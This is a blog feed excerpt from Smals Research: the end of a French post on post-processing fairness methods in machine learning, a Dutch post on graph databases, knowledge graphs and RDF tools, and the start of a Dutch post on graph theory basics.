<h2 class="wp-block-heading"><strong>Les méthodes «&nbsp;post-processing&nbsp;»</strong></h2>



<p>Pour la dernière approche, on ne touche pas au modèle ou aux données historiques, on va simplement appliquer un ajustement aux prédictions fournies par le modèle de sorte à satisfaire les contraintes de fairness. Un algorithme de post-processing va donc généralement soit modifier les probabilités d’appartenance aux classes prédites par le modèle, soit directement modifier les décisions (classifications finales) pour certaines observations.</p>
<p>Les algorithmes de post-processing sont des solutions simples à mettre en place&nbsp;: ils sont indépendants du modèle prédictif utilisé, et peuvent donc s’utiliser avec des modèles « black-box ». De plus, le post-processing ne demande aucune modification ni des données, ni du modèle, et préserve donc l’intégrité du processus existant.</p>
<p>Ce genre de méthodes tend cependant généralement à dégrader plus fortement les performances du modèle que l’utilisation de méthodes d’in-processing. En effet, entrainer un modèle librement et ensuite altérer ses prédictions a posteriori pour que ces dernières remplissent des contraintes sera souvent moins efficace que d’avoir un modèle ayant été spécifiquement optimisé pour fournir des prédictions remplissant les contraintes.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PostProcessing.png"><img loading="lazy" decoding="async" width="1024" height="336" src="/wp-content/uploads/2025/05/PostProcessing-1024x336.png" alt="" class="wp-image-22701" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-1024x336.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-300x98.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-768x252.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing.png 1323w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 4&nbsp;: Equité par approche post-processing.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Evaluer les prédictions équitables</strong></h2>



<p>Par définition, à partir du moment où on ajoute des contraintes sur les prédictions d’un modèle, ou si on limite l’accès à certaines informations, cela va logiquement réduire les performances de classification du modèle. Par conséquent, incorporer de l’équité dans un problème de classification implique de trouver la juste balance entre la précision du modèle et sa fairness.</p>
<p>De plus, même une fois qu’un équilibre entre précision et équité a été trouvé, il convient toujours de vérifier les modifications qui résultent de l’ajout des contraintes de fairness.</p>
<p>Prenons un exemple illustratif&nbsp;: supposons un algorithme fournissant des prédictions biaisées, qui a tendance à donner relativement plus de décisions favorables aux membres du groupe A comparé au groupe B. Il y a un risque qu’à l’introduction d’une contrainte de fairness, l’algorithme réponde en réduisant simplement le nombre de décisions favorables pour le groupe A pour atteindre le même niveau que le groupe B. Ce nouveau modèle est donc <em><strong>théoriquement</strong></em> plus équitable que le précédent, mais il est manifestement pire puisque cette équité a été réalisée uniquement en pénalisant l’un des groupes.</p>
<p>Cet exemple illustre l’importance, lors de l’introduction d’équité dans un modèle, de ne pas regarder uniquement les mesures de performance (accuracy, demographic parity, etc.), mais aussi d’investiguer la façon dont les décisions du modèle sont impactées en pratique.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Dans cet article, nous avons vu comment mesurer l’iniquité d’un modèle de machine learning, et présenté un aperçu des différentes approches utilisées pour éviter que le modèle ne reproduise ou ne renforce un biais appris dans les données historiques.</p>
<p>Il est important de signaler que les différentes approches ne sont pas mutuellement exclusives, et peuvent souvent être combinées (e.g. un pre-processing des données d’entrainement, suivi d’une méthode in-processing sur le modèle). Certaines publications dans le domaine proposent d’ailleurs des méthodes qui agissent à plusieurs niveaux du processus de classification.</p>



<h2 class="wp-block-heading">Références</h2>



<p id="footnote-1">[1] Mehrabi, N., Morstatter, F., Saxena, N., Lerman, K., &amp; Galstyan, A. (2021). A survey on bias and fairness in machine learning. <i>ACM computing surveys (CSUR)</i>, <i>54</i>(6), 1-35.</p>
<p id="footnote-2">[2] Castelnovo, A., Crupi, R., Greco, G., Regoli, D., Penco, I. G., &amp; Cosentini, A. C. (2022). A clarification of the nuances in the fairness metrics landscape. <i>Scientific Reports</i>, <i>12</i>(1), 4209.</p>
<p id="footnote-3">[3] Corbett-Davies, S., Gaebler, J. D., Nilforoshan, H., Shroff, R., &amp; Goel, S. (2023). The measure and mismeasure of fairness. <i>Journal of Machine Learning Research</i>, <i>24</i>(312), 1-117.</p>
<p id="footnote-4">[4] Hort, M., Chen, Z., Zhang, J. M., Harman, M., &amp; Sarro, F. (2024). Bias mitigation for machine learning classifiers: A comprehensive survey. <i>ACM Journal on Responsible Computing</i>, <i>1</i>(2), 1-52.</p>
<p>Sur un sujet similaire, voir le post <a href="/ia-lethique-en-pratique/">IA: L&#8217;éthique en pratique</a>.</p>



<hr />
<p><em>Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.</em></p>


]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Graphtechnologieën, de toepassingen ervan en tools: een overzicht (deel 2)</title>
		<link>https://www.smalsresearch.be/graphtechnologieen-toepassingen-en-tools-2/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Thu, 20 Feb 2025 10:01:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21956</guid>

					<description><![CDATA[Dit tweede deel is gewijd aan graph databases en aan knowledge graphs, hun verschillen en tools.]]></description>
										<content:encoded><![CDATA[
<p><em><a href="/graphes_applications_et_outils_2/">Version française</a></em></p>



<p>Deze blogpost volgt op <a href="/graphtechnologieen-toepassingen-en-tools/">deel 1</a>, die de grondbeginselen van graphtechnologieën, hun algoritmes en toepassingen toelicht. Dit tweede deel is gewijd aan graph databases en aan knowledge graphs, hun verschillen en tools.</p>



<h2 class="wp-block-heading">Graph databases</h2>



<p>Zoals bij een relationele database is ook bij een graph database het doel om gegevens op een persistente manier op te slaan en te beheren en om complexe query&#8217;s uit te voeren. Het verschil is dat de gegevens worden opgeslagen in de vorm van een graph, d.w.z. een verzameling nodes die onderling verbonden zijn door bogen.</p>
<p>Graph databases hebben een aantal voordelen ten opzichte van traditionele relationele databases, omdat het graph model eenvoudige, geoptimaliseerde doorloop van gegevens via bogen mogelijk maakt, terwijl het verkennen van relaties in een relationele database een groot aantal joints kan vereisen. Meer details over de voordelen van graph databases en de situaties waarin ze gebruikt kunnen worden, zijn te vinden in de blogposts [<a href="#footnote-1">1</a>] en [<a href="#footnote-2">2</a>].</p>
<p>De drie componenten van een graph database zijn nodes, bogen en properties. Deze eigenschappen kunnen ofwel op de nodes, ofwel op de bogen, ofwel op beide worden geplaatst. Laten we eens kijken naar het voorbeeld in Figuur 1, de node “Paul” kan bijvoorbeeld gelinkt worden met eigenschappen zoals zijn geboortedatum en adres, voor de nodes die films voorstellen kunnen we eigenschappen associëren zoals het jaar van uitgave, het budget en de IMDb identifier, en op de “RATED” relaties tussen een gebruiker en een film kunnen we eigenschappen associëren zoals de kijkdatum en de waardering (op 5) die de gebruiker aan de film geeft.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/02/LPG_EN.png"><img loading="lazy" decoding="async" width="1024" height="373" src="/wp-content/uploads/2025/02/LPG_EN-1024x373.png" alt="" class="wp-image-21938" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN-1024x373.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN-300x109.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN-768x280.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN.png 1372w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 1: Voorbeeld van nodes en arcs met eigenschappen in Neo4J.</figcaption></figure>



<p>Merk op dat de graph algoritmes die we in <a href="/graphtechnologieen-toepassingen-en-tools/">deel 1</a> hebben gepresenteerd vaak niet zijn geïmplementeerd in graph database software, met een paar uitzonderingen (Neo4j en TigerGraph hebben een “Graph Data Science (GDS)” library die verschillende algoritmes bevat). Over het algemeen is het daarom nodig om de graph (of een deel ervan) te exporteren naar een analysetool.</p>



<h2 class="wp-block-heading">Tools voor graph databases</h2>



<p>Laten we eens snel kijken naar enkele van de bekendste tools. Merk op dat alle hieronder genoemde tools compatibel zijn met <a href="https://nl.wikipedia.org/wiki/ACID">ACID</a>-eigenschappen. Er bestaan een groot aantal tools voor het beheren van graph databases, en deze post noemt er maar een paar. Bekijk <a href="https://db-engines.com/en/ranking/graph+dbms">hier</a> gerust een uitgebreidere lijst.</p>
<ol>
<li>Neo4j</li>
</ol>
<p>Neo4j biedt het voordeel van een native graphformaat, wat het doorlopen van de graph zeer efficiënt maakt (en dus ook de query&#8217;s) De query&#8217;s gebeuren via Cypher, een taal die gemakkelijk te leren is, Neo4J is bovendien goed gedocumenteerd en beschikt over een grote community. Neo4J is in zijn “community”-versie gratis, maar een betalende versie bestaat ook (Neo4J Enterprise), de gratis versie kan een aantal schaalbaarheidsproblemen opleveren bij zeer grote hoeveelheden data.</p>
<ol start="2">
<li>ArangoDB</li>
</ol>
<p>ArangoDB biedt een flexibel datamodel (multimodel), met een graphmodel, een documentmodel (gebaseerd op JSON-objecten) en een key-value model. Het heeft zijn eigen querytaal, AQL (Arango Query Language), die ingewikkelder kan zijn om te leren dan Cypher vanwege het multimodel dat aan de grondslag ligt van ArangoDB. Het programma is betalend, hoewel er ook een opensourceversie bestaat (community edition), maar die is (uiteraard) beperkter dan de betalende versie.</p>
<ol start="3">
<li>TigerGraph</li>
</ol>
<p>TigerGraph is een betalende tool, die geoptimaliseerd is voor gebruik op zeer grote databases. De query&#8217;s gebeuren via de taal GSQL, die het mogelijk maakt om verschillende taken uit te voeren, maar die ingewikkelder is dan Cypher. TigerGraph beschikt over verschillende algoritmes die geïmplementeerd zijn via de GDS library.</p>
<ol start="4">
<li>Memgraph</li>
</ol>
<p>Memgraph is een speciale tool in die zin dat hij gegevens direct in het geheugen bewaart (in RAM). Dit levert zeer hoge prestaties op voor query&#8217;s, maar maakt het aan de andere kant moeilijk te gebruiken, of op zijn minst kostbaar in termen van infrastructuur, als de graph groot is, omdat je genoeg RAM moet hebben om de gegevens op te slaan. Memgraph wordt daarom over het algemeen gebruikt als prestaties de hoogste prioriteit hebben. Query&#8217;s worden gedaan in Cypher.</p>
<ol start="5">
<li>GraphDB</li>
</ol>
<p>GraphDB gebruikt een zeer specifiek graphmodel dat het Resource Description Framework (RDF) wordt genoemd. Dit framework, dat meer in detail zal worden besproken in de sectie Knowledge graphs, heeft zijn eigen querytaal die SPARQL heet. Er bestaat een gratis opensourceversie (graphDB Free) en een betalende enterpriseversie (graphDB Enterprise).</p>
<ol start="6">
<li>Apache TinkerPop en de implementaties ervan</li>
</ol>
<p>Het gaat om een opensource framework voor het definiëren van een graph database en een querytaal die “Gremlin” heet. Het wordt gebruikt in veel graph database management software, zoals JanusGraph (opensource software), Amazon Neptune dat andere modellen biedt dan die van TinkerPop zoals RDF, of nog andere tools voor databasebeheer die niet gespecialiseerd zijn in graphs, zoals Azure Cosmos DB.</p>



<h2 class="wp-block-heading">Knowledge graphs</h2>



<p>Laten we, voordat we naar werkwijzen en tools kijken, eerst definiëren wat een knowledge graph is en hoe deze verschilt van een graph database. Het is een graph die zich richt op semantiek en inferentie. Elke node vertegenwoordigt een concept en elke boog een relatie. Zoals we al hebben gezien in de blogposts [<a href="#footnote-3">3</a>, <a href="#footnote-4">4</a>], wordt een knowledge graph gedefinieerd als een graph die aan drie voorwaarden voldoet [<a href="#footnote-5">5</a>]:</p>
<ol>
<li>De integratie van informatie uit verschillende heterogene bronnen.</li>
</ol>
<p>Een knowledge graph verzamelt en combineert gegevens uit verschillende (on)gestructureerde bronnen op een coherente manier.</p>
<ol>
<li>Het gebruik van een ontologie.</li>
</ol>
<p>Een ontologie beschrijft formeel de concepten en relaties die aanwezig zijn in de graph, evenals eventuele beperkingen en regels. Het is dus een gestructureerd model dat de semantische basis biedt voor logische bewerkingen en coherentietesten. Een ontologieschema (zie Figuur 2), ook bekend als een &#8216;ontology graph&#8217;, biedt bijvoorbeeld een representatie van de entiteittypes en relaties van een knowledge graph, en biedt zo een conceptuele structuur zonder specifieke gegevens te bevatten.</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/02/Ontology_EN.png"><img loading="lazy" decoding="async" width="868" height="561" src="/wp-content/uploads/2025/02/Ontology_EN.png" alt="" class="wp-image-21937" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/Ontology_EN.png 868w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Ontology_EN-300x194.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Ontology_EN-768x496.png 768w" sizes="auto, (max-width: 868px) 100vw, 868px" /></a><figcaption class="wp-element-caption">Figuur 2: Voorbeeld van ontologieschema</figcaption></figure>



<ol>
<li>Inferentie van impliciete informatie op basis van expliciete informatie.</li>
</ol>
<p>Het is mogelijk om informatie te vinden die niet aanwezig was in de oorspronkelijke gegevens op basis van inferentieregels (zie Figuur 3).</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-6.png"><img loading="lazy" decoding="async" width="748" height="287" src="/wp-content/uploads/2025/01/image-6.png" alt="" class="wp-image-21762" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6.png 748w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6-300x115.png 300w" sizes="auto, (max-width: 748px) 100vw, 748px" /></a><figcaption class="wp-element-caption">Figuur 3: Voorbeelden van inferentie. Uit een vorige <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">blogpost</a>.</figcaption></figure>



<h2 class="wp-block-heading">Een overzicht van het RDF-model (Resource Description Framework)</h2>



<p>Het RDF-model, oorspronkelijk ontworpen voor de formele beschrijving van web resources en de metadata ervan, wordt vaak gebruikt bij knowledge graphs omdat het robuust semantisch rederneren en een zeer hoge interoperabiliteit biedt.</p>
<p>Een RDF-document heeft de vorm van een set RDF-triples waarbij elk triple een associatie is: subject (te beschrijven bron), predicaat (eigenschap van de bron), object (gegevens of andere bron).</p>
<p>Bijvoorbeeld:</p>
<p><code>:Alice&nbsp;:knows&nbsp;:Bob .<br />:Alice&nbsp;:livesIn&nbsp;:Paris .<br />:Alice&nbsp;:age 30 .</code></p>
<p>Deze semantic triples vertegenwoordigen dus zowel relaties tussen nodes (bijvoorbeeld de relatie tussen Alice en Bob) als eigenschappen (de leeftijd van Alice).</p>
<p>Kenmerkend voor RDF is dat elk element van een triple (met uitzondering van het object als het een simpele waarde is, zoals de waarde 30 voor de leeftijd van Alice) door een URI (<em>Uniform Resource Identifier</em>) of IRI (<em>Internationalized Resource Identifier</em>) moet worden geïdentificeerd. Dit zorgt voor een hoge mate van interoperabiliteit, omdat het voorkomt dat er duplicaten ontstaan wanneer verschillende informatiebronnen worden gecombineerd. Als we teruggaan naar de eerder gebruikte triples, krijgen we het volgende fragment (in Turtle-taal):</p>
<p><code>&lt;http://example.org/Alice&gt; &lt;http://example.org/knows&gt; &lt;http://example.org/Bob&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/livesIn&gt; &lt;http://example.org/Paris&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/age&gt; "30"^^&lt;http://www.w3.org/2001/XMLSchema#integer&gt; .</code></p>
<p>Het gebruik van RDF impliceert daarom een URI om alle concepten (subjecten, predikaten en objecten) in de graph te kunnen identificeren op dezelfde manier als een primaire sleutel in relationele databases.</p>
<p>Bovendien bestaan er twee hulpmiddelen om semantische betekenis toe te voegen aan RDF-gegevens door relaties te beschrijven om redeneren mogelijk te maken, namelijk RDFS (<em>RDF Schema</em>) en OWL (<em>Web Ontology Language</em>). Zoals we al hebben gezien, vereist RDF dat elk concept wordt geïdentificeerd door een URI. RDFS en OWL bieden een voorgedefinieerde set URI&#8217;s voor veelgebruikte concepten waarnaar verwezen kan worden in RDF. Dit maakt het mogelijk om een gestandaardiseerd gemeenschappelijk vocabularium te hebben, wat de integratie met andere databanken vergemakkelijkt, en om inferentieregels op te stellen. Aangezien OWL en RDFS <strong>gestandaardiseerde concepten</strong> aanbieden, kunnen OWL-gebaseerde &#8216;reasoners&#8217; (zoals FaCT++ of HermiT) op een systematische manier impliciete relaties afleiden of tegenstrijdigheden detecteren op basis van de ontologie.</p>
<p>Query&#8217;s op een RDF database worden gedaan via SPARQL.</p>



<h2 class="wp-block-heading">Alternatieven voor RDF en tools voor het werken met een knowledge graph</h2>



<p>Natuurlijk is het voor een knowledge graph niet noodzakelijk om het RDF-model te gebruiken. Een graph wordt als een knowledge graph beschouwd als voldaan is aan de 3 voorwaarden die beschreven zijn aan het begin van het hoofdstuk over knowledge graphs. Het is dus perfect mogelijk om een knowledge graph te creëren in een klassieke graph databasemanagementtool, zolang de implementatie data uit verschillende bronnen combineert, voldoet aan een ontologie en gebruikt kan worden voor semantische inferentie.</p>
<p>De voornaamste kracht van het RDF-model is zijn hoge standaardisatieniveau. Enerzijds laat het een hoge mate van interoperabiliteit toe dankzij de URI-identificatievereiste en de gestandaardiseerde woordenschat en querytaal. Anderzijds bieden de RDFS- en OWL-uitbreidingen een schat aan semantische informatie voor automatisch redeneren. Omgekeerd beperkt de complexiteit het gebruik in zakelijke toepassingen waar deze semantische nauwkeurigheid niet noodzakelijk is en waar het gebruik van een eenvoudiger graphmodel (zoals Neo4j of TigerGraph) volstaat. Het gebruik van eenvoudigere modellen heeft het voordeel dat ze eenvoudiger en sneller op te zetten zijn en optimale query prestaties bieden, maar ten koste van het verlies van de semantische rijkdom die RDF biedt.</p>
<p>In deze sectie worden (niet-exhaustieve) tools met betrekking tot RDF voorgesteld, maar zoals vermeld blijven de tools die eerder werden vermeld voor graph databases geldig voor het creëren van een knowledge graphs zolang aan de voorwaarden wordt voldaan.</p>
<p>Hier is een lijst van enkele tools gerelateerd aan knowledge graphs in RDF:</p>



<ul class="wp-block-list">
<li><strong>Ontwerp van ontologieën</strong>: de opensourcetool <a href="https://protege.stanford.edu/">Protégé</a> wordt vaak gebruikt om ontologieën te creëren. De website <a href="https://schema.org/">Schema.org</a> biedt een groot aantal standaard schema&#8217;s en vocabulaires voor verschillende domeinen, maar wordt over het algemeen gebruikt voor knowledge graphs met betrekking tot webgegevens.</li>



<li><strong>Gegevens omzetten naar RDF</strong>: de tool <a href="https://www.w3.org/TR/r2rml/">R2RML</a> kan gebruikt worden om relationele gegevens om te zetten in RDF. Ook het vermelden waard is <a href="https://d2rq.org/">D2RQ</a>, dat toegang biedt tot een relationele database via een virtuele RDF knowledge graph.</li>



<li><strong>Dataopslag</strong>: naast de hierboven genoemde oplossingen (GraphDB en Amazon Neptune), kunnen we ook BlazeGraph en Apache Jena (opensource) vermelden, alsook Stardog en AllegroGraph (businessoplossingen).</li>



<li><strong>OWL reasoners</strong>: er bestaan veel OWL reasoners. Ze worden echter niet allemaal actief onderhouden of zijn niet altijd bruikbaar. De meest recente OWL reasoners lijst die we konden vinden dateert uit 2023 en is <a href="https://arxiv.org/pdf/2309.06888">hier</a> beschikbaar [<a href="#footnote-6">6</a>].</li>
</ul>



<p>Tot slot willen we nog het RDF4J framework (Java framework) en rdflib (python library) vermelden voor interactie met RDF data.</p>



<h2 class="wp-block-heading">Conclusie</h2>



<p>Laten we afsluiten met een korte samenvatting van de belangrijkste concepten die een wiskundige graph onderscheiden van een graph database en een knowledge graph.</p>
<p>Een wiskundige graph is een verzameling van nodes en bogen die gemakkelijk kan worden voorgesteld in matrixvorm zodat er algoritmes op kunnen worden toegepast. Het is de onderliggende structuur van elke graph database of knowledge graph.</p>
<p>Een graph database bestaat uit een set van nodes, bogen en properties. De nadruk ligt op het opslaan van grote hoeveelheden gegevens binnen een graph structuur en het optimaliseren van query&#8217;s.</p>
<p>Een knowledge graph heeft als doel om kennis binnen een graph weer te geven met de nadruk op:</p>



<ul class="wp-block-list">
<li><strong>Semantiek</strong>: de graph volgt een ontologie en relaties hebben betekenis.</li>



<li><strong>Integratie</strong>: verschillende databronnen zijn gekoppeld in een uniforme graph.</li>



<li><strong>Inferentie</strong>: het vermogen om kennis af te leiden door redeneren.</li>
</ul>



<p>Daarom is het gericht op de integratie en de semantische verrijking van data.</p>
<p>Het spreekt voor zich dat deze post slechts een tipje van de sluier oplicht van de uitgebreide literatuur over graphs en de verschillende toepassingen ervan. Vele punten moeten nog verder uitgewerkt worden en zullen ongetwijfeld het onderwerp zijn van toekomstige blogposts.</p>



<h2 class="wp-block-heading">Referenties</h2>



<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-4">[4] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-5">[5] Ehrlinger, L., &amp; Wöß, W. (2016). Towards a definition of knowledge graphs. SEMANTiCS 2016, 48(1-4), 2.</p>
<p id="footnote-6">[6] <a href="https://arxiv.org/pdf/2309.06888">Abitch, K., (2023). &#8220;OWL Reasoners still useable in 2023&#8221;</a></p>
<hr />
<p><em>Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Graphtechnologieën, de toepassingen ervan en tools: een overzicht (deel 1)</title>
		<link>https://www.smalsresearch.be/graphtechnologieen-toepassingen-en-tools/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Thu, 20 Feb 2025 10:00:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21941</guid>

					<description><![CDATA[Dit eerste deel richt zich op graphs in hun fundamentele wiskundige vorm.]]></description>
										<content:encoded><![CDATA[
<p><a href="/graphes_applications_et_outils/"><em>Version française</em></a></p>



<p>Dankzij hun vermogen om complexe relaties tussen gegevens te begrijpen en te benutten, worden graphtechnologieën steeds populairder op veel gebieden van kunstmatige intelligentie en gegevensbeheer. Deze blog heeft al meerdere artikels gepubliceerd over verschillende graphtechnologieën, waaronder graph databases [<a href="#footnote-1">1</a>, <a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>] en knowledge graphs [<a href="#footnote-4">4</a>, <a href="#footnote-5">5</a>, <a href="#footnote-6">6</a>].</p>
<p>Maar wat betekent de term &#8216;graph&#8217; eigenlijk? Tussen de wiskundige modellen die als basis dienen, graph databases en knowledge graphs, kan het moeilijk zijn om je weg te vinden en de tools te identificeren die het best passen bij je behoeften. Hierbij komt nog het feit dat werken met graph data op het eerste gezicht complex kan lijken en dat het gebruik van graphalgoritmes niet tot de kernvaardigheden van de meeste data engineers en data scientists behoort. Dit alles kan het creëren en exploiteren van graph data en modellen tot een ontmoedigend vooruitzicht maken.</p>
<p>Dit artikel geeft daarom een overzicht van graphtechnologieën, waarbij de drie bovengenoemde aspecten worden verkend:</p>



<ul class="wp-block-list">
<li>Graphs vanuit een theoretisch oogpunt, hun eigenschappen en hun belangrijkste toepassingen;</li>



<li>Graph databases, gespecialiseerd in de opslag en exploitatie van gekoppelde gegevens;</li>



<li>Knowledge graphs, die kennis semantisch structureren.</li>
</ul>



<p>Daarom is het de bedoeling om deze concepten en de – soms vage – grenzen ertussen te presenteren, en hun toepassingen en de bijbehorende tools en software te belichten.</p>
<p>Dit artikel is opgesplitst in twee delen. Het eerste deel richt zich op graphs in hun fundamentele wiskundige vorm, hoe ze kunnen worden gecodeerd en geëxploiteerd, en de belangrijkste algoritmes en de toepassingen ervan. Het <a href="/graphtechnologieen-toepassingen-en-tools-2/">tweede deel</a> richt zich op graph databases en knowledge graphs, en de bijbehorende tools.</p>



<h2 class="wp-block-heading">Back to basics: graphs als wiskundige structuur</h2>



<p>Laten we eerst definiëren wat een graph is. Deze theoretische basis is cruciaal aangezien de concepten van graph databases en knowledge graphs op deze basis zijn gebouwd. Deze meer geavanceerde concepten kunnen op elk moment worden teruggebracht tot hun onderliggende wiskundige vorm en bij uitbreiding zijn alle modellen en algoritmes die hieronder worden gepresenteerd toepasbaar op graph databases en knowledge graphs.</p>
<p>In zijn meest basale vorm is een graph een wiskundige structuur die bestaat uit een verzameling nodes en arcs die de nodes paarsgewijs verbinden. Nodes stellen meestal objecten of mensen voor en bogen stellen links tussen deze objecten of mensen voor. In het geval van een sociaal netwerk kan een boog bijvoorbeeld een vriendschapsband tussen twee gebruikers voorstellen.</p>
<p>De graph kan zowel gericht als ongericht zijn. In het geval van een ongerichte graph zijn de relaties tussen nodes altijd wederkerig (bijvoorbeeld een vriendschapslink op Facebook), terwijl in een gerichte graph een boog die van node i naar node j gaat, niet noodzakelijk een boog in de tegenovergestelde richting impliceert (bijvoorbeeld een website A die een link heeft naar een website B).</p>
<p>Afhankelijk van de situatie of toepassing kan een graph al dan niet gewogen zijn. Een graph is als gewogen omschreven als er aan elke boog een gewicht wordt toegekend dat varieert van boog tot boog en dat het mogelijk maakt om bepaalde bogen een grotere “kracht” te geven. De interpretatie van deze gewichten hangt af van de context; ze kunnen bijvoorbeeld een mate van verwantschap, gelijkenis, afhankelijkheid, enz. weergeven.</p>
<p>Een graph wordt over het algemeen voorgesteld door een vierkante matrix van dimensie (<em>n</em> × <em>n</em>), waarbij n het aantal nodes in de graph voorstelt, genaamd een adjacency matrix (aangeduid als <strong>A</strong>). Het element op positie (<em>i</em>, <em>j</em>) in de matrix is het gewicht van de boog van node <em>i</em> naar node <em>j</em> als deze bestaat, en anders 0 (zie figuur 1). De adjacency matrix is gewoon een binaire matrix als de graph ongewogen is.</p>



<figure class="wp-block-image size-large"><a href="/wp-content/uploads/2025/02/Adjacency.png"><img loading="lazy" decoding="async" width="1024" height="465" src="/wp-content/uploads/2025/02/Adjacency-1024x465.png" alt="" class="wp-image-21940" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency-1024x465.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency-300x136.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency-768x349.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency.png 1089w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 1: Matrixvoorstelling van een gewogen gerichte graph.</figcaption></figure>



<p>Hier gaat een boog van gewicht 3 van node 1 naar node 3 en een boog van gewicht 5 in de tegenovergestelde richting. De matrix A bevat daarom de waarde 3 op positie (1,3) en de waarde 5 op positie (3,1).</p>
<p>Merk op dat adjacency matrices vaak grotendeels nullen bevatten en daarom over het algemeen worden gecodeerd met behulp van <em>sparse matrices</em> om het geheugen te optimaliseren.</p>
<p>Deze voorstelling van een graph in matrixvorm maakt het veel eenvoudiger om algoritmes op de graph te gebruiken, aangezien veel graphalgoritmes, die soms complex zijn in de vorm van vergelijkingen, vaak gereduceerd kunnen worden tot een reeks elementaire matrixbewerkingen. Dit maakt hun uitvoering zeer efficiënt in wetenschappelijke programmeertalen die geoptimaliseerd zijn voor matrixberekeningen, zoals R, MATLAB, Julia of Python (numpy, scipy).</p>



<h2 class="wp-block-heading">Gebruiken van graphalgoritmes en praktische toepassingen</h2>



<p>Om het nut van een graph beter te begrijpen, kijken we eerst naar de hoofdcategorieën van graphalgoritmes, met voor elke categorie een paar voorbeelden van het praktische gebruik ervan.</p>



<ul class="wp-block-list">
<li>Het optimale pad bepalen om een paar nodes te verbinden.</li>
</ul>



<p>Hierbij kan het gaan om het minimaliseren van het aantal overgangen dat nodig is om van de ene node naar de andere te gaan of, als er kosten zijn verbonden aan elke boog, het vinden van het pad met de laagste kosten. De kosten kunnen gedefinieerd worden als het gewicht van een boog, of gecodeerd worden in een tweede matrix (kostenmatrix, onafhankelijk van de adjacency matrix). De manier waarop de kosten van een boog worden bepaald hangt af van de toepassing, afhankelijk van wat je wilt minimaliseren. Dit kan bijvoorbeeld een maat voor de lengte van de boog zijn (de lengte van een weg), een maat voor de tijd (de tijd die nodig is om de boog over te steken) of financiële kosten. Dit type algoritme kan worden gebruikt in de logistiek om transport te optimaliseren. De bekendste algoritmes zijn de algoritmes <a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm">Dijkstra</a>, <a href="https://en.wikipedia.org/wiki/A*_search_algorithm">A*</a> en <a href="https://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm">Bellman-Ford</a>.</p>



<ul class="wp-block-list">
<li>Maatstaven bepalen voor gelijkenis of afstand tussen nodes in een graph.</li>
</ul>



